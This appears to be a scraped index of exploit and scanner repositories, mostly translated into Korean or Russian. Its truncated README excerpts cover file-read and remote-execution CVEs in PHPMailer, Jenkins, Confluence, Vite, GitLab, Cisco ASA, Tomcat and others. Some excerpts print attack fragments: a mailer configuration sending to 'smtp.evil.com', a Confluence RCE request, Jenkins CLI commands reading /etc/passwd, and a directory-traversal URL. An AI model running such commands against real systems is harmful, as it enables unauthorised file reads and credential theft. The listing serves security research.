CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2018-14847

CVE-2018-14847 이는 심각한 WinBox 취약점CVE-2018-14847의 개념 증명으로, 일반 텍스트 비밀번호의 임의 파일 읽기를 허용합니다. 이 취약점은 오래전에 패치되었으므로, 이 프로젝트는 종료되었으며 더 이상 지원되거나 업데이트되지 않습니다. 대신 직접 포크하여 업데이트할 수 있습니다.해커와 버그헌터에게 유용한 도구 기능 단일 IP 스캔 수동 입력 또는 targets.txt에 나열된 모든 IP 스캔 익스플로잇 전 포트 확인 WAF 탐지기 100% 정확한 결과 고급 오류 처리 사용자 정의 포트 선택사항 더 강...

SharpStat

SharpStat C утилита, использующая WMI для выполнения cmd.exe /c netstat -n, сохранения вывода в файл, а затем использующая SMB для удаленного чтения и удаления этого файла Описание Этот скрипт пытается подключиться ко всем указанным компьютерам и с помощью WMI выполняет cmd.exe /c netstat -n...

GitLabSniper

GitLabSniper CVE-2026-85706 — GitLab CE/EE 인증되지 않은 임의 파일 읽기 탐지 · 공개 프로젝트 열거 · 탈취 · 대화형 셸 · subfinder/httpx 파이프라인 작성자: Yunus Emre Öztaş mitsec X: x.com/ynsmroztas GitHub: github.com/ynsmroztas 사이트: ynsmroztas.github.io 메일: [email protected] 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템버그 바운티 / VDP / 서면...

CVE-2019-3396

CVE-2019-3396 Confluence 미인증 RCE CVE-2019-3396 취약점 주의할 점: 일부 버전은 성공하려면 Referer를 추가해야 합니다 파일 읽기 POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:55.0 Gecko/20100101 Firefox/55.0 Accept: text/plain, /; q=0.01 Accept-Language:...

S3Scanner

S3Scanner Быстрый и грязный скрипт для поиска незащищенных S3-корзин и выгрузки их содержимого 💧 Использование Инструмент состоит из 2 частей: 1 - s3finder.py Этот скрипт принимает список доменных имен и проверяет, размещены ли они на Amazon S3. Найденные S3-домены выводятся в файл с...

CVE-2026-23751-poc

CVE-2026-23751-PoC Proof-of-concept implementation of the .NET HTTP Remoting technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture. CVE-2026-23751 Title: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET...

CVE-2024-23897

CVE-2024-23897 — HTTPS + CSRF-crumb 인식 PoC cve-2024-23897-crumb.py — Jenkins file --http --port N python3 cve-2024-23897-crumb.py jenkins.example.com python3 cve-2024-23897-crumb.py jenkins.example.com /etc/shells python3 cve-2024-23897-crumb.py 10.0.0.5 /etc/passwd --http --port 8080 Python 3 표준...

CVE-2025-30208

🔥 CVE-2025-30208 Vite 임의 파일 읽기 취약점 스캐너 CVE-2025-30208을 위한 엔터프라이즈급 기능을 갖춘 고급 취약점 스캐너 Vite 임의 파일 읽기 취약점 탐지를 위한 전문 침투 테스트 도구 🚀 빠른 시작 • 📋 기능 • 🔧 사용법 • 📊 예제 • 🛡️ 보안 📖 개요 이 도구는 Vite 개발 서버의 CVE-2025-30208 취약점을 탐지하고 악용하도록 설계된 종합적인 취약점 스캐너입니다. 이 취약점은 Vite의 파일 시스템 엔드포인트를 통해 임의 파일 읽기 접근을 허용하여 민감한 구성 파일, 소스 코...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli 우리는 Jenkins 파일 유출 / RCE CVE-2024-23897가 야생에서 악용되는 것을 확인했으며 이를 재현할 수 있었습니다. 만약 Jenkins에서 익명 사용자 또는 사용자 등록을 허용한다면, 즉시 최신 버전으로 업데이트하세요. java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd...

CVE-2024-23897

CVE-2024-23897 이 저장소는 CVE-2024-23897에 대한 개념 증명PoC을 제공합니다. SonarSource에 의해 발견됨 CVE-2024-23897 | Jenkins 파일 읽기 면책 조항 이 코드는 취약점의 개념 증명입니다. 저는 누구도 소유하지 않은 컨플루언스 인스턴스에서 이를 사용하도록 권장하지 않습니다. 이 도구는 연구 및 교육 목적으로만 개발되었으며, 이 도구를 사용함으로써 발생하는 어떤 결과에 대해서도 책임을 지지 않습니다. 설명 Jenkins Security Advisory 2024-01-24 에...

Webapp_Pentast

CVE-2022-31147 개념 증명 및 수동 테스트 가이드 이 가이드는 널리 사용되는 matthiasmullie/minify 라이브러리에 영향을 미치는 심각한 경로 순회 취약점인 CVE-2022-31147을 테스트하기 위한 포괄적인 방법론을 제공합니다. 이 취약점은 공격자가 minify 엔드포인트의 입력 검증 부족을 악용하여 Linux 및 Windows 서버 모두에서 임의의 파일 읽기 작업을 가능하게 합니다. 이 가이드는 웹 애플리케이션의 이 위협에 대한 노출을 평가하려는 보안 전문가, 침투 테스터 및 연구자를 위해...

evilMP4

evilMP4 CVE-2022-41741을 탐구하는 Evil MP4 저장소입니다. 교육용 PoC와 nginx의 MP4 파일 취약점에 대한 상세 문서 및 보안 조치 방법을 제공합니다. 합법적이고 윤리적인 보안 테스트 용도로만 사용하세요. 이 저장소는 nginx의 ngxhttpmp4module에 존재하는 out-of-bounds 읽기 취약점인 CVE-2022-41741을 이해하고 시연하기 위한 도구, 문서 및 예제를 제공합니다. 이 취약점은 공격자가 특수하게 조작된 MP4 파일을 처리함으로써 잠재적으로 민감한 정보에 무단 접근하거...

CVE-2020-3452_Cisco_ASA_PathTraversal

CVE-2020-3452시스코ASA경로탐색 CVE-2020-3452에 대한 개념 증명 스크립트 — Cisco ASA/FTD 경로 탐색 취약점. 안전을 위해 성공적인 다운로드에 대한 하드 한도와 함께 알려진 파일 대상의 자동 추출을 지원합니다. 승인된 보안 테스트 및 연구 목적으로만 사용하세요. 🔐 GitHub 저장소 설명 CVE-2020-3452 에 대한 개념 증명 스크립트 — Cisco ASA/FTD 경로 탐색 취약점. 안전을 위해 성공적인 다운로드에 대한 하드 한도와 함께 알려진 파일 대상의 자동 추출을 지원합니다. 승인된...

CVE-2018-18778-Scanner

CVE-2018-18778-Scanner 취약한 버전의 minihttpd 1.30 미만을 스캔합니다. ACME minihttpd 1.30 미만은 원격 사용자가 임의의 파일을 읽을 수 있도록 합니다. 사용법 python3 CVE-2018-18778-Scanner.py...

ESCepcion

🛡️ ESCepcion Active Directory Certificate Services 감사 도구 ESCepcion은 Active Directory Certificate ServicesAD CS 인프라에서 취약점 감사 및 평가를 위한 오픈 소스 도구입니다. 기업 및 하이브리드 환경에서 거짓 양성false positive을 엄격히 줄이는 데 초점을 맞추고 권한 상승 경로ESC 탐지를 자동화하도록 설계되었습니다. 다른 도구와 달리 ESCepcion은 Active Directory의 어떤 개체도 악용하거나 수정하거나 쓰지 않습니다...

CyBroHttpServer-v1.0.3-Directory-Traversal

CyBroHttpServer-v1.0.3-디렉터리-트래버설 CyBroHttpServer v1.0.3의 디렉터리 트래버설Directory Traversal 취약점으로 인해 공격자가 민감한 정보를 읽을 수 있습니다. CVE-2018-16133 https://vulners.com/cve/CVE-2018-16133 PoC 취약점을 악용하기 위해 공격자는 'http://host/../../../../../../../../' 요청을 사용하여 대상으로부터 일부 정보를 얻을 수 있습니다. 예를 들어:...

CVE-2021-21402-Jellyfin

CVE-2021-21402-Jellyfin-임의 파일 읽기 이 POC는 학습 및 교류 목적으로만 사용되며, 이로 인해 발생하는 모든 결과에 대해 본인은 책임을 지지 않습니다 python POC.py targets.txt...

CVE-2018-17463

CVE-2018-17463 CVE-2018-17463에 대한 작동하는 익스플로잇을 재미로 완성했습니다. 이 버그에 대해 제가 찾은 원본 글은 http://phrack.org/papers/jitexploitation.html 에 있습니다. 저는 이 임의 읽기/쓰기를 완전히 작동하는 익스플로잇으로 바꾸고 싶었습니다. 또한 다음 논문에서 JIT 스프레이 기법을 배웠습니다. 흥미로운 읽을거리입니다. @inproceedingsgawlik2018sok, title=Sok: Make jit-spray great again,...

AttackTomcat

AttackTomcat 취약점 탐지 목록 CVE-2017-12615 PUT 파일 업로드 취약점 tomcat-pass-getshell 약한 인증 WAR 배포 약한 비밀번호 무차별 대입 CVE-2020-1938 Tomcat 파일 읽기/ 포함 사용 방법 처음 사용하기 전에 설정에서 구성 파일을 다시 설정하세요. 다른 문제는 자세히 읽어보세요!!!, java -jar .jar 로 시작하면 실행 로그 정보를 볼 수 있습니다!! ​ 소스 코드를 Maven으로 컴파일하거나 Releases를 직접 다운로드하세요. ​ JAR 파일을 더블클릭하...